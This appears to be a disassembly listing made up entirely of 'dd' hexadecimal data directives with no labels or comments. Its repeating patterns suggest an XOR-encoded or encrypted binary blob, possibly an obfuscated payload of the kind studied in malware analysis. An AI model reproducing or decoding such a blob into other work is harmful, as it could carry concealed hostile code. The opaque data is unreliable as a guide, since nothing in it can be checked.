dd 246FDC98h, 0DEC7A987h, 443214D8h, 7CC51466h, 11279969h
dd 98DB1566h, 0EE321566h, 82FD8B5Ch, 949F555Fh, 52214276h
dd 7F2D6B29h, 0C9CA7DE3h, 0FB71A61h, 0E8321566h, 0B1EAFDE6h
dd 0A7B9E907h, 16D613ABh, 898B449Eh, 45321566h, 0A43D4CA9h
dd 11321567h, 0E4B72E9Ah, 4B35FE9Eh, 223256E3h, 19B61A66h
dd 87321566h, 443217EFh, 0A9537566h, 0F53010E3h, 80B31A61h
dd 24321566h, 0A2EAA269h, 4253BE80h, 883214DDh, 1FED1466h
dd 2232068Fh, 0C7DA4666h, 0FF43BF56h, 8B52BC9h, 0D3B26960h
dd 142946D9h, 7042905Dh, 0C13D128Dh, 22321549h, 1EEA9F06h
dd 883210EAh, 6EE9AD66h, 0A95307DAh, 0F51014E3h, 82B01A61h
dd 0AD321566h, 22321563h, 22472904h, 898C435Ah, 45321566h
dd 19CA4B91h, 0FACA61E3h, 0BEB71A61h, 0BD321566h, 2D6F90EDh
dd 71521282h, 62A7AB00h, 28C49400h, 0D0B37447h, 62F59FF2h
dd 8CB14207h, 246D1442h, 22321A8Fh, 73E56E66h, 8151BE1Fh
dd 0F90B4260h, 0F3970C6Ch, 69B72E07h, 8735FE9Eh, 443259E3h
dd 223FFC66h, 3331566h, 0CACE72D4h, 0FECFB30Bh, 0A99295A3h
dd 0F51564E3h, 8835FC61h, 18721566h, 39D1B281h, 3DB342D3h
dd 77CDEA42h, 22524A99h, 0CB60CAEDh, 11321575h, 0E72099BCh
dd 333750ADh, 0ADF3E005h, 0B1C17F2h, 0D358DFF0h, 38B72E07h
dd 2D35FE9Eh, 113243E3h, 9ADB7566h, 30321566h, 0CC667102h
dd 0D9D80564h, 0F5B76D7Dh, 0BB065223h, 2239FDB2h, 4B841566h
dd 2A585E03h, 8F2F0BD0h, 0A9534A75h, 0F517E8E3h, 3062EC61h
dd 0BBCDEA99h, 426AD24Fh, 1132048Fh, 29BD0166h, 487F218Bh
dd 73110F3Bh, 0FF22933Ch, 36542B60h, 7F53444Ah, 0C9CA91E3h
dd 22B71A61h, 61321566h, 44321563h, 1AC254C9h, 4B79ECFh
dd 7435F179h, 16BBAD36h, 0C2F32885h, 0C1C55560h, 0D58C3826h
dd 8333924Dh, 0A73D753Eh, 11321565h, 3FC9E00h, 0C109749Eh
dd 25D9EDE6h, 11789069h, 87521566h, 0FA54DCD1h, 0A153BEB6h
dd 0F51CC8DBh, 0D3D1561h, 44321552h, 2239FC9Ah, 59181566h
dd 0DED23BEEh, 0B02FA4CFh, 17B79E01h, 7135F169h, 8832128Fh
dd 13D30B66h, 0EA3C508Ch, 5B3586D9h, 36647414h, 0BBCDEA99h
dd 0DA6CE24Fh, 1C47A8E5h, 87321282h, 443274E2h, 23BD1A66h
dd 0E8321566h, 713E905Dh, 0C13D128Dh, 22321528h, 11359669h
dd 73D1566h, 44321567h, 34B41A9Ah, 71321566h, 88321A8Fh
dd 0CAABA666h, 0C5A2196Ch, 8884E2BDh, 6680D6CDh, 0F5B79E07h
dd 0CB35F14Bh, 11321576h, 0D1273C43h, 0F7831211h, 27D329E8h
dd 22C818Dh, 77CDA833h, 0AB1BEA99h, 9FB1ED3Bh, 16D6383Bh
dd 0E1B61A66h, 24321564h, 2DDBED06h, 0E2321566h, 6453F2A0h
dd 0A9296E78h, 97F876B0h, 77530A5Ch, 3580FEE7h, 458F9607h
dd 2235F16Fh, 130C9169h, 9CDB1566h, 85321566h, 67108587h
dd 6380CAD0h, 0E2D6546h, 0BF2ABB25h, 1908D615h, 0FACAE5E3h
dd 0C2B71A61h, 0B8321566h, 5A390EDh, 1ADB1282h, 13321566h
dd 5658CEFAh, 0F96A084Bh, 0AB604840h, 88321567h, 0AD68C267h
dd 22321563h, 7323579Eh, 0B3D7505h, 44321564h, 33DBC3EDh
dd 0FD321566h, 0B2EFC03Dh, 0B5D26A91h, 7D870479h, 0A58EC78Bh
dd 88B72E07h, 4B35FE9Fh, 22320DE3h, 94B9EC66h, 8FD60E43h
dd 17ED929Fh, 79161199h, 903DCAE1h, 88321567h, 0B0B72E9Eh
dd 2D35FE9Eh, 113241E3h, 0DB9ED66h, 43D62483h, 2226FD06h
dd 0F45C1566h, 5F1FE9AEh, 53786632h, 0C3FEF303h, 0E9FEBAD3h
dd 59B26EE8h, 4FDB4E07h, 4E321566h, 0AE5DD34Dh, 7F17A4A7h
dd 0BC538536h, 2233AE35h, 0CE331566h, 883DFC3Dh, 0CB031566h
dd 0D0AE31E2h, 0F27DE0CFh, 0D3420965h, 40B72E4Fh, 2D35FE9Fh
dd 11325BE3h, 36547566h, 0A2B241D9h, 2D5274B1h, 113215E4h
dd 0E9C99E66h, 517390EDh, 2DDB1282h, 60321566h, 6F9988C1h
dd 0C9199CEAh, 13CD62A7h, 0FDB1EDCCh, 0AC0E9C62h, 1B161199h
dd 2232078Fh, 2E1DC066h, 27305215h, 4D0BDE35h, 3F38CC6Ah
dd 2AF5EFF9h, 63CB1DE3h, 2CB71A61h, 2D321566h, 11320FEAh
dd 9CB61A66h, 0AD321566h, 22321569h, 29683E96h, 16843735h
dd 3B5C8CB5h, 0A9FCD2F7h, 0F527F8E3h, 89BF1A61h, 0BC321566h
dd 0DBB97306h, 11329269h, 0DA531566h, 575085DCh, 0D0B35F38h
dd 4F2177E8h, 6168C267h, 44321577h, 667F4960h, 0A482DADh
dd 1781E5A4h, 0CFB06856h, 26BC1A87h, 71321566h, 0B3537406h
dd 0AFCAEDE3h, 6FB71A61h, 1E321566h, 88321BE7h, 85B97566h
dd 2232108Fh, 10442166h, 7053AF36h, 5D3790EDh, 32DB1282h
dd 0F7321566h, 0D209C2CCh, 54596ACEh, 342B887Bh, 0E944BB5Fh
dd 883DAC37h, 85B30568h, 40802FD1h, 0E6D3C42Fh, 79B35CB7h
dd 5E4D9F13h, 0DA6BDA67h, 0E9CE905Dh, 0D3D128Dh, 4432157Eh
dd 2DFD9E06h, 9A53DAD1h, 6C245CE3h, 0FC62E061h, 22321567h
dd 0E96AD267h, 8133A8E5h, 4B321282h, 22386CE2h, 4252E066h
dd 0E930CEE7h, 4B6B1D90h, 223217EAh, 70537566h, 70BA905Dh
dd 0C13D128Dh, 2232152Bh, 68B79E9Ah, 8735F149h, 44321FEEh
dd 0A3547566h, 1E56A380h, 0D853D5D1h, 0CC539DDEh, 647B307Ch
dd 247A4E1Ah, 0BFF47D28h, 0A7585763h, 4F441061h, 0D633DF28h
dd 8821FC3Eh, 8AF1566h, 0A902E8D2h, 1AC758D9h, 0C2DED89Bh
dd 8B8603ACh, 3EB72E80h, 1E35FE9Fh, 883249E3h, 56DB7566h
dd 98321566h, 3480CD53h, 4A4D1C2Ch, 8FB3648Ah, 3FB74DA1h
dd 12B61A06h, 87321566h, 0CF53CED9h, 0C6272CE3h, 0AB60E961h
dd 0E5866221h, 6878D7E7h, 0F0C56467h, 0E3B3C791h, 0C95F1282h
dd 0AEB3C791h, 42154EEFh, 1E68C267h, 883219ECh, 42BF1A66h
dd 2D321566h, 113215E8h, 4B72E66h, 4B35FE9Eh, 223233E3h
dd 19B91A66h, 87321566h, 443217E6h, 0A9537566h, 0F531CCE3h
dd 0D0627561h, 68D5AC00h, 0DD8B4407h, 38CDEA99h, 0B3CA4CA9h
dd 0AFCA85E3h, 6EB71A61h, 1E321566h, 883212EBh, 45B71A66h
dd 0DE321566h, 4C790EDh, 9ADB1282h, 0FA321566h, 0A482D582h
dd 0C680B728h, 579C95B5h, 6C4A5D1Ch, 9860E9BDh, 0DD134A9h
dd 9809D7E7h, 857853A4h, 0D0B3128Ch, 7869603Eh, 4AF09424h
dd 6DA476A6h, 19CA4FB1h, 0FACA81E3h, 0DEB71A61h, 0B8321566h
dd 2CAF90EDh, 0F8521282h, 8832156Eh, 2FACEB68h, 7B85E667h
dd 975FAD00h, 3163ED07h
dd 30F42B28h, 6AD39427h, 0E64DC055h, 8BD3D4BFh, 75BF4E7h
dd 0D3B33D76h, 19225427h, 876BDA67h, 443201E9h, 223DFC66h
dd 15A31566h, 0CFFDEEE2h, 0DA2B8098h, 0CE75388Ah, 89B72EE2h
dd 8735FE9Eh, 443274E3h, 223AFC66h, 0E1001566h, 0DDEBB4A5h
dd 0F9B11D94h, 25D63BBBh, 56B71A66h, 87321566h, 44320CEBh
dd 0C8B37566h, 247BB345h, 88321E8Eh, 5A9E6766h, 351135DDh
dd 0C4D379E2h, 0DB9743Ch, 43D61E47h, 223E9B69h, 963D1566h
dd 88321560h, 44329269h, 9A621566h, 11321567h, 876AD267h
dd 443214E8h, 0A709E066h, 16D9EDFAh, 881A9069h, 0CFCA1566h
dd 0C61DD0E3h, 0A962ED61h, 77CDEA99h, 4B6AD24Fh, 223204E6h
dd 113EFC66h, 0DB661566h, 0DDD648B8h, 88B1DF7Fh, 94090884h
dd 8FD9EDC6h, 44699069h, 44521566h, 1FCEF3E7h, 558F9607h
dd 4435F148h, 22759069h, 0A9521566h, 0A4EC473Dh, 0A5B79E07h
dd 4235F166h, 11309269h, 28821566h, 44269369h, 2DDB1566h
dd 4A321566h, 557A60CDh, 4698B669h, 6F927612h, 40536426h
dd 77CDEADFh, 1DFD3C99h, 22359569h, 9E3D1566h, 88321567h
dd 0E0B72E93h, 2D35FE9Eh, 113244E3h, 93BA1A66h, 4B321566h
dd 223200ECh, 1122FC66h, 46101566h, 0E96EF3D3h, 0D0B9500Fh
dd 88DD6CC8h, 0DB9D464h, 43D60F5Fh, 2BDB4306h, 0CF321566h
dd 2850692Eh, 0C442CE74h, 223AFD39h, 0B81C1566h, 6727DA5Fh
dd 256BCFE3h, 1377FAE1h, 20CF2489h, 0D09E989h, 43D9EDCEh
dd 22049069h, 9ACB1566h, 6C26F0E3h, 14C77561h, 78FDA269h
dd 0EE8F4007h, 0A1CDEA99h, 4B524889h, 223210EFh, 0F8B37366h
dd 3548DFEh, 0C13D749Fh, 2232156Eh, 11309469h, 0E9521566h
dd 0BC82905Dh, 0A73D128Dh, 113215E0h, 66B3E906h, 55BD5D15h
dd 0FF8F9607h, 1135F148h, 88429069h, 49DB1566h, 0C9321566h
dd 0B8D5EB6Fh, 0DF1E2FF6h, 78F18869h, 2239FC06h, 711B1566h
dd 2079864Eh, 85DF4940h, 223EFCB1h, 56CB1566h, 0FC8A569Eh
dd 74348DA7h, 0A953879Ch, 0F5292CE3h, 8820FC61h, 680A1566h
dd 35A550ABh, 0CDF2F54Eh, 8D632177h, 0A6BBE0FDh, 2233AE35h
dd 0CE331566h, 0EE52EC3Dh, 379AE3E7h, 0F1CAAB06h, 943D3C27h
dd 88321566h, 0C1097407h, 25D9EDCAh, 11679069h, 87521566h
dd 443216E7h, 0F8B97366h, 0ED532DD7h, 0A6EFA8E5h, 4B321282h
dd 22322FE3h, 10B21A66h, 70321566h, 62BF90EDh, 74521282h
dd 11329069h, 0E96A1566h, 44339F69h, 72CB1566h, 113214DEh
dd 0D0F51466h, 443E9E69h, 98521566h, 6D5D7023h, 8CEB9400h
dd 7FCE7441h, 0C9CAA1E3h, 53B71A61h, 87321566h, 44321DE3h
dd 20BA1A66h, 71321566h, 0DB9E907h, 43D6305Bh, 34F69506h
dd 1138FC06h, 229C1566h, 0DD691589h, 18BF8F00h, 70C1AA69h
dd 0A4B14207h, 246DEA42h, 22349769h, 9E3D1566h, 88321566h
dd 0FCB72E07h, 2D35FE9Eh, 11326EE3h, 883BFC66h, 81F11566h
dd 78269C59h, 9A2E380Dh, 6C1E0CE3h, 49DB7561h, 24321566h
dd 9DA0EF56h, 55912DACh, 0BE4CA58Eh, 2232068Eh, 0CAB93966h
dd 0E5E1878Dh, 3574076Bh, 0F197CBDh, 45A5D9BAh, 0E96DDBEDh
dd 4432048Fh, 8BBE1266h, 61A71AB9h, 3DA1C79Ch, 71C0456Fh
dd 99617AC6h, 11321567h, 6169CA67h, 44321572h, 0AC00CC42h
dd 0B325D44Bh, 965F5FC7h, 0DACFF7ACh, 0E8FCA44Eh, 0E98E905Dh
dd 0D3D128Dh, 44321502h, 22321E8Fh, 0CD79E266h, 58F50654h
dd 5A7E6AD5h, 82F90EDh, 963D1282h, 8832157Ah, 443AFC06h
dd 7B281566h, 0AF5CC3C8h, 80DB0B61h, 79321566h, 3539C25Ch
dd 70A1361Ah, 77CDAF34h, 931BEA99h, 3FB61A3Ch, 1E321566h
dd 883202EFh, 4420FC66h, 0B4961566h, 0AEECF08Ah, 0F9C40h
dd 8D146A6Bh, 4707EC73h, 0E9F2905Dh, 0D3D128Dh, 44321575h
dd 83B79E9Ah, 0E835F173h, 778C439Ah, 6DCDEA99h, 19CE4B91h
dd 0FACAD1E3h, 0D6B71A61h, 0AD321566h, 2232156Ah, 0CFCD4BA5h
dd 0E5451A37h, 3948F7AFh, 73790EDh, 17DB1282h, 0FC321566h
dd 22C59E6Eh, 6A8F403Eh, 5C50C644h, 9709D0E7h, 0A9B36F0Bh
dd 767059CDh, 0FCB35023h, 0CFE1BEh, 4B6FFA67h, 22320DE5h
dd 1121FC66h, 26C61566h, 0FEA49FADh, 70613D46h, 0A19FD8C2h
dd 4A72FDEBh, 8CB72E31h, 2D35FE9Eh, 113223E3h, 8834FC66h
dd 9A9C1566h, 0F4C9D854h, 38390EDh, 80DB1282h, 4B321566h
dd 2A8C9C3Fh, 44690FC3h, 883214DBh, 19DD1466h, 22321F8Fh
dd 0D2E2E266h, 34BFA927h, 7F46BD3Fh, 0C9CAD9E3h, 40B71A61h
dd 61321566h, 4432156Fh, 0F8893D3Eh, 0E314101h, 883DFC55h
dd 0E2CF1566h, 7210C86Bh, 0E2AE2633h, 0E0A90706h, 0F5B79E99h
dd 0DB35F164h, 6BA0AD36h, 50C57E6Ah, 1C3FC591h, 0F1E4C00h
dd 0BB0667Ah, 1562E243h, 0BB7E1011h, 0E533BE00h, 77CA753Eh
dd 0E90CC0DFh, 0BCE2905Dh, 0A73D128Dh, 11321523h, 8832068Fh
dd 0F7982F66h, 9CEAF45Fh, 836E08AFh, 0F3660A68h, 0C03A522Fh
dd 2ADB90EDh, 933D1282h, 88321571h, 44239069h, 2EDB1566h
dd 66321566h, 49AB6913h, 6B4192ADh, 73794D4Bh, 113214DFh
dd 0D1FD1466h, 0CDB72E9Fh, 2D35F147h, 113241E3h, 3F3D7566h
dd 443DFCB8h, 2DAC1566h, 7486413Ch, 0BB9CD903h, 0DD837849h
dd 0AD3D748Ah, 1132156Ch, 8832108Fh, 0BAA13866h, 0A7B9992Fh
dd 16D60A27h, 88321C8Fh, 0CF6A7866h, 29B7C341h, 0AF64D38Bh
dd 77CDEA99h, 4B6CE24Fh, 22321DE1h, 13B21A66h, 0E8321566h
dd 90B72E07h, 2D35FE9Eh, 11324DE3h, 8FB31A66h, 4B321566h
dd 223214E8h, 94B9EC66h, 8FD6370Fh, 44321E8Fh, 24E6CF66h
dd 1AAAB952h, 0F7D61E70h, 0A67AE35h, 0A3790E61h, 0B5479ADh
dd 63B35E0Eh, 3F2D7B1Ch, 2D69CA67h, 113214E2h, 0EE52ED66h
dd 8758D7E7h, 22321E8Fh, 71038066h, 80B75C6h, 0BD3888F2h
dd 32B72E07h, 1E35FE9Fh, 883272E3h, 443DFC66h, 35101566h
dd 0E977D16Bh, 0F9E84017h, 7065CE61h, 3A8F96A9h, 1135FE9Fh
dd 881A9069h, 0C7CE1566h, 0C610B8DBh, 953D1561h, 8832155Eh
dd 57B61A93h, 0CB321566h, 11321568h, 0F8B18DD2h, 9AAF951Eh
dd 0E3F6DC81h, 94B9ADAEh, 8FD638A7h, 1B60429Eh, 0F5B5573Ch
dd 11321E8Fh, 5248D466h, 0C993BAE6h, 0CD727E29h, 0E826905Dh
dd 0D3D128Dh, 4432150Dh, 20B61A06h, 9A321566h, 4FB373B1h
dd 0C7534ADEh, 0C9CB0DDBh, 943D1561h, 88321556h, 0B7851A06h
dd 22B01A36h, 4F321566h, 258F9607h, 4435F144h, 22079169h
dd 0DB1566h, 88321566h, 0C2C90868h, 0A9CF0471h, 9962A2Ch
dd 0AA3DC347h, 5F7F90EDh, 71C71282h, 1F6C7BDDh, 9E1E234h
dd 2180E8Dh, 55C19429h, 106CBE11h, 0B3CB4EB9h, 0AFCACDE3h
dd 18B71A61h, 1E321566h, 88321DE0h, 46B01A66h, 42321566h
dd 0C0B79E07h, 8735F178h, 443214EDh, 9A62E066h, 5D1804A4h
dd 80DAD426h, 3910CB63h, 91201030h, 0D633BC50h, 66B3753Eh
dd 7049C5A1h, 0FEB72E07h, 1E35FE9Eh, 88323DE3h, 0C1B9ED66h
dd 25D600DFh, 6A8A459Fh, 0C046EE72h, 324D5C6Bh, 0A737550Fh
dd 10B015E6h, 8EDB4DA1h, 0E4321566h, 9C6121ADh, 0F1B72E74h
dd 8735FE9Eh, 443254E3h, 0A7B9E066h, 16D63447h, 883A9E69h
dd 0C23D1566h, 22321564h, 0A8637406h, 0BA2C0C32h, 21DB942Fh
dd 0D5459E44h, 0E1F394B7h, 89888790h, 4BDB4CA9h, 0B7321566h
dd 6CFC6FBBh, 0D254CC66h
dd 1202793h, 0A70950C0h, 16D9ED82h, 88709069h, 0C13D1566h
dd 22321569h, 11321F8Fh, 0CC5D5066h, 0E7C43D0Bh, 0A9C52025h
dd 0F53774E3h, 80B31A61h, 4B321566h, 223217E9h, 0E4537566h
dd 8836F9E7h, 78BB1566h, 636EA42h, 1134FC39h, 0BE471566h
dd 0CF2BDD9Eh, 0DADA905Dh, 943D128Dh, 8832155Dh, 47B41A06h
dd 44321566h, 9C3DC2EDh, 88321564h, 0CF534B35h, 0C61198E3h
dd 9052ED61h, 0A634B584h, 1BFD940Bh, 4339D7A2h, 66DAAF34h
dd 7AB32A4Bh, 84E09D71h, 4268C24Fh, 2A53E7EDh, 63CAF9E3h
dd 0FB71A61h, 0CB321566h, 11321568h, 29FE33BEh, 54998D2Ah
dd 1938D2BBh, 94B9DC29h, 8FD63A1Fh, 44339F69h, 75C71566h
dd 0EE1639E7h, 0D7CDEA99h, 44239169h, 0A23D1566h, 1132156Dh
dd 8832138Fh, 15F1F566h, 4294DF1Ch, 4A684230h, 2CD39400h
dd 0BB3974AFh, 22199169h, 46521566h, 36A7406h, 45DB74AEh
dd 2DCDEA8Bh, 11320DECh, 8821FC66h, 2F361566h, 214032C1h
dd 9E634B7Bh, 29753DC2h, 4AA20853h, 0A3B72E0Bh, 1E35F169h
dd 883255E3h, 51B31A66h, 0CB321566h, 11321576h, 0C523922Fh
dd 7353CC1h, 889317DFh, 0C5DA046Eh, 0DA5E90EBh, 50DB128Dh
dd 61321566h, 594E1B17h, 0E243D23Ch, 5D042126h, 0B032E51Fh
dd 0F89ACECCh, 77CDF9FEh, 0FDB72E9Eh, 2D35F143h, 113291E3h
dd 883BFC66h, 147C1566h, 822E0627h, 923A336Ah, 63CA2DDBh
dd 0C13D1461h, 2232150Fh, 11321A8Fh, 8E666966h, 73B56AD2h
dd 0C7E3A6Ah, 4FF47D1Ah, 835590EBh, 50DB153Fh, 4B321566h
dd 7D99F191h, 0E24CB5B8h, 7133C081h, 85B3201Bh, 0E92FEC0Bh
dd 77DE228Fh, 52B01A99h, 0CB321566h, 11321577h, 11D2C27Fh
dd 3157D1CBh, 5DE07B84h, 0DEE9CA73h, 883DFCC1h, 0E6341566h
dd 1249281Ch, 0CC8C913Fh, 2BF7FAB3h, 0CB72EBEh, 2D35FE9Eh
dd 113246E2h, 9ADB7566h, 0A1321566h, 0CB27EC53h, 8D5F25C9h
dd 54B55B83h, 0F8349948h, 223FFD8Eh, 84B81566h, 5079762Bh
dd 20EDCD1Eh, 0CADDFF47h, 11321569h, 0D9C953CAh, 0C7C26784h
dd 82FBFE2Eh, 4FDDDAD5h, 0D097438h, 43D9ED2Ah, 22119069h
dd 71CB1566h, 0E9E59E00h, 0BBD9B68Fh, 2221FC99h, 75F41566h
dd 623164F8h, 7C41DBFh, 358498B8h, 63339D27h, 888D420Bh
dd 13321566h, 0F11621E7h, 4F63CA30h, 0DEE1E3E7h, 0B86D44B9h
dd 2D33EBE5h, 113337E3h, 8820FC66h, 79971566h, 420EEAEAh
dd 7B9EABA3h, 2D81C39Bh, 2FDABBB5h, 0DA0E905Dh, 943D128Dh
dd 88321524h, 443AFC06h, 0CB851566h, 3BCE9A5Fh, 23DD250h
dd 44321573h, 2232058Fh, 64BA6066h, 182371h, 0EE30EDC6h
dd 0EFCDF68Dh, 94BF7480h, 886A92A2h, 0C554ED06h, 4376E6AFh
dd 0EED91E8Fh, 3547599h, 0C10974BFh, 25D9ED26h, 115A9069h
dd 87521566h, 443210E2h, 0FBB37366h, 0A63D7555h, 0DBF74B4h
dd 446A9D5Ch, 222E9469h, 9F3D1566h, 88321570h, 4432048Fh
dd 9B8B0D66h, 3211D98Eh, 96FD494Eh, 3F7BE2D2h, 9FDB9B0Ah
dd 71CDEA8Ch, 0D3537530h, 4432078Fh, 0AE2C0266h, 0E73B1F0h
dd 0FB8788C7h, 0BB77B0B3h, 437EDC99h, 113A9569h, 87521566h
dd 443215EEh, 0A7097466h, 16D9ED22h, 880F9069h, 0C9CA1566h
dd 7ABA6AE3h, 113CFC66h, 1A651566h, 0BA1F5881h, 7A90045h
dd 0E3D0C4BFh, 77D8728Fh, 56DB7599h, 1F321566h, 5BD4AE22h
dd 0F5A277EAh, 0DC342544h, 0C1571773h, 0D9B373B7h, 0DD5309DAh
dd 0ACBBD0EFh, 0A31639EDh, 113211A2h, 0EECB7566h, 0F01AC3E7h
dd 0DA8A4507h, 0E6736D11h, 8D075DBEh, 0CD8C92EEh, 6369EA0h
dd 1136D1E7h, 3D1566h, 44321567h, 2DC41E9Eh, 113202E3h
dd 57DBED66h, 0ADCDEA8Fh, 2232156Dh, 336C293Bh, 0E2F47935h
dd 0BC5653B9h, 6069E36h, 0F836D1E5h, 8832156Ah, 6D920A9Ch
dd 0FA5AFB3Ch, 43BC4409h, 0AB7FA0EFh, 0CA3D1282h, 22321567h
dd 10879C9Fh, 0E835F148h, 44329B69h, 0A2531566h, 943DFC58h
dd 8832158Fh, 6E59406h, 2D2683CFh, 113217EBh, 0E9D5A066h
dd 4436F9E7h, 36BB1566h, 1133AF42h, 7A331566h, 24682FEDh
dd 0A03DC4ECh, 11321566h, 2CDD9407h, 0C5772052h, 0BD4BBF89h
dd 90C51410h, 174BBFA1h, 0E0F59410h, 42772052h, 70C79CD2h
dd 0DFC59C31h, 0FA524A3Dh, 54CB0349h, 0F853D6EDh, 8832156Fh
dd 1FBECC50h, 5C708A53h, 0DA8C43F2h, 9774E74h, 626D0B90h
dd 25DCD40Ch, 3724FBE7h, 66B32724h, 8A2E81E3h, 16B9E667h
dd 15F69442h, 61321566h, 44321577h, 32B38142h, 0CED67EB5h
dd 0B9A3F476h, 8F694FC2h, 6F8F2E47h, 1E35F145h, 883202E4h
dd 0AAB27566h, 50EC9532h, 1EC92E07h, 88323DE0h, 45B01A66h
dd 0DA321566h, 0EEDAD08Fh, 8752ED99h, 0AC63C7D1h, 22321568h
dd 215D244Ch, 0DE59E0CBh, 81837474h, 7C6D5713h, 0F88F9E07h
dd 8735F17Dh, 443204EFh, 223EFC66h, 3D531566h, 20E7C902h
dd 53DA0F66h, 0A7F5D355h, 16D60003h, 88321566h, 42B81A06h
dd 2D321566h, 113215E3h, 71527466h, 84F99506h, 22319D69h
dd 9A541566h, 3DBB74BCh, 43D63B67h, 2232078Fh, 4700E466h
dd 0CED6B16Dh, 79266F05h, 0DEE51083h, 1ED01234h, 883214EFh
dd 0D9BFED66h, 25DE696Fh, 11339569h, 77CB1566h, 0AD8D75B5h
dd 447565B7h, 0D42AE3E7h, 87F21E07h, 443209E2h, 2223FC66h
dd 136C1566h, 1612B546h, 0E78AFD73h, 0D6AD823Bh, 0F8E9A39Fh
dd 883215DCh, 64AF989Eh, 2D35FCD3h, 113207EFh, 84B41A66h
dd 0AD321566h, 22321561h, 0B91EB084h, 77627017h, 33B11AB5h
dd 0CBCDEA99h, 11321576h, 0D2C3200Bh, 71139C0h, 69712CD3h
dd 6BDA129Eh, 0A633A0EDh, 4B521282h, 223216EFh, 0DEB97366h
dd 97288D8h, 0F1BB747Ch, 25D60003h, 10BD1A93h, 74321566h
dd 8D0A88EBh, 0AA3D128Ch, 11321561h, 61B37306h, 0AD535FCEh
dd 22321574h, 0D0019D75h, 84B49BBBh, 475C002Ah, 728B845Fh
dd 0C2CD52A4h, 8832018Fh, 26377B66h, 3E7F51A9h, 0CB756EFCh
dd 156C242Dh, 7AED073Ah, 0AD3D7551h, 11321560h, 88329769h
dd 0C23D1566h, 22321567h, 94B9749Eh, 8FD6362Bh, 44369E69h
dd 0DA521566h, 94BB7493h, 8FD63B67h, 4ADB749Ah, 31321566h
dd 0AC0D0CB2h, 0B9BE1A86h, 940950BFh, 0CA0C95E1h, 11C49069h
dd 3D1566h, 4432156Fh, 0E8B37306h, 4E65A68Ch, 0E98F9607h
dd 4435F164h, 22E89169h, 71521566h, 0AF5AAB00h, 45213BD8h
dd 9A54742Ah, 1E53331Dh, 883216E3h, 25CA7566h, 44CAA635h
dd 0E7EE9D36h, 0EED19DBAh, 0DF1953Eh, 0AA8AE6E6h, 1E524EBEh
dd 0F3DEBD9h, 44321563h, 70DBBFDFh, 0F898741Eh, 8832156Dh
dd 0A7629573h, 1AE897B4h, 0E85BE6B5h, 88349E0Eh, 600E9C66h
dd 0DABBE2EFh, 1137FC39h, 57001566h, 41D05178h, 297F692Dh
dd 0A863ED4Fh, 0BA4214DBh, 1FF5FCE7h, 0CBF304B5h, 9EF39460h
dd 7F682208h, 0B5B35CB7h, 8C3977F5h, 0E46BDD4Fh, 848A4535h
dd 7176A923h, 668E506Eh, 386AD6EFh, 8524EBEh, 0FB5465BFh
dd 8953548Fh, 1132078Fh, 0DBFBA966h, 9916261Bh, 1A216815h
dd 0D647894h, 0E8315AF3h, 0C5547AD6h, 43A46DB7h, 1130978Fh
dd 42B97566h, 256CE935h, 40A288EBh, 7752128Ah, 0F619C6E7h
dd 4432068Eh, 6D371866h, 9DD33095h, 0CCA47925h, 0A88F86FCh
dd 0E927C63Ch, 1132198Fh, 17D86466h, 4D1F9387h, 65F8B09Eh
dd 1E534FD5h, 883219E5h
dd 42B81A66h, 2D321566h, 113215ECh, 0E8E1EA66h, 4432048Fh
dd 0AE26BE66h, 2A27D6E2h, 285A13E6h, 0D886787Eh, 0A3543DC4h
dd 706C86AEh, 0FECA88EBh, 0B8C7128Ah, 4252C699h, 0F7A8E5DCh
dd 83537444h, 59B71AA6h, 42321566h, 0F853C5EDh, 8832155Dh
dd 44321A8Fh, 7801FE66h, 6FE985D6h, 7FC0BF95h, 0B485D1A1h
dd 0C3390E5h, 1E371282h, 88321DEEh, 46B61A66h, 42321566h
dd 0EF75FC07h, 80DBEA99h, 0DC321566h, 0E0DAEABEh, 9C402E09h
dd 644ACFFBh, 2252ED61h, 28CDFDE7h, 1132108Eh, 1D8EFC66h
dd 0A38B1089h, 7D7F4CFEh, 71E1EA07h, 88319969h, 0CF541566h
dd 43C29EA4h, 943DD56Dh, 88321554h, 5DB01A93h, 0CB321566h
dd 11321572h, 88CB13A5h, 0A4FD163h, 7B1AEE9h, 920ABF97h
dd 0F5458AB6h, 44325F8Fh, 24BD1A66h, 71321566h, 4FC6AC00h
dd 1465EC07h, 45030DDEh, 7CD01862h, 82377584h, 0CDA90DE4h
dd 0D8334DA1h, 90547539h, 0EE73B4B1h, 250127DFh, 2233338Fh
dd 1122FC66h, 363B1566h, 0AAA361EEh, 67117B93h, 0B8F88A0Bh
dd 5CEAFDBh, 0AD8735FBh, 2DDA7561h, 9A321566h, 665D1ABFh
dd 0E9915D4Dh, 0B9E862D0h, 49C7E136h, 88319E69h, 0F33D1566h
dd 0F1CD74BEh, 11059669h, 9CDB1566h, 8A321566h, 4FDCCCDEh
dd 10C6725Ch, 27723E40h, 5CC8E387h, 0A9F3DFC1h, 0F51C14D3h
dd 89B01A61h, 0BC321566h, 221E358Fh, 913D7566h, 88321564h
dd 99B8EFEDh, 23BF9E07h, 1E35F148h, 883211E5h, 1F867566h
dd 23879C07h, 0E935F148h, 88339869h, 0C5CB1566h, 463010A7h
dd 0A3DB9412h, 0A1005259h, 0F6F39497h, 0A3005259h, 7530108Fh
dd 0B537512h, 95C5EAA7h, 2239FD06h, 4471566h, 824D94FBh
dd 8A756A5h, 0E3B9734Ah, 0EAF5943Dh, 0E967F11Ah, 6C4BAD36h
dd 0C2F35447h, 3733065h, 0EE17252Ah, 4114E14Dh, 5F9D6E85h
dd 0B32BB653h, 0D0F4140Bh, 0AAB3DB4Fh, 323F72E6h, 0F896E69Fh
dd 88321568h, 902FC49Ch, 1A9CB6D5h, 76C1A421h, 1ADB1CF1h
dd 24CDEA9Ah, 42C5FAE6h, 9A54E1ECh, 55374AEh, 0AEF975FBh
dd 2239FC61h, 0C7931566h, 59946E9h, 18EBB327h, 2DE1EA68h
dd 113203E6h, 98B71A66h, 0AD321566h, 2232156Dh, 0DA95EA5Bh
dd 0A810189Bh, 2C4AA0E6h, 223252F3h, 901629EFh, 0F2FC3152h
dd 716A6560h, 52346FA8h, 11259F69h, 9ADB1566h, 2E321566h
dd 664FBF42h, 0EEEDCC1Dh, 656FA48Fh, 71962FBEh, 0CBB73EC4h
dd 7135F17Dh, 8832018Fh, 78786366h, 5719047Bh, 0B985F9AEh
dd 29F63CB4h, 0A52F59F2h, 0FD8C7372h, 94BB749Eh, 8FD60CB7h
dd 0ADB79E93h, 0CB35F17Dh, 11321563h, 7AD8C7DDh, 1EC57D51h
dd 1EBB1566h, 113DFC42h, 2EF21566h, 0E13C4D4Ch, 257F6466h
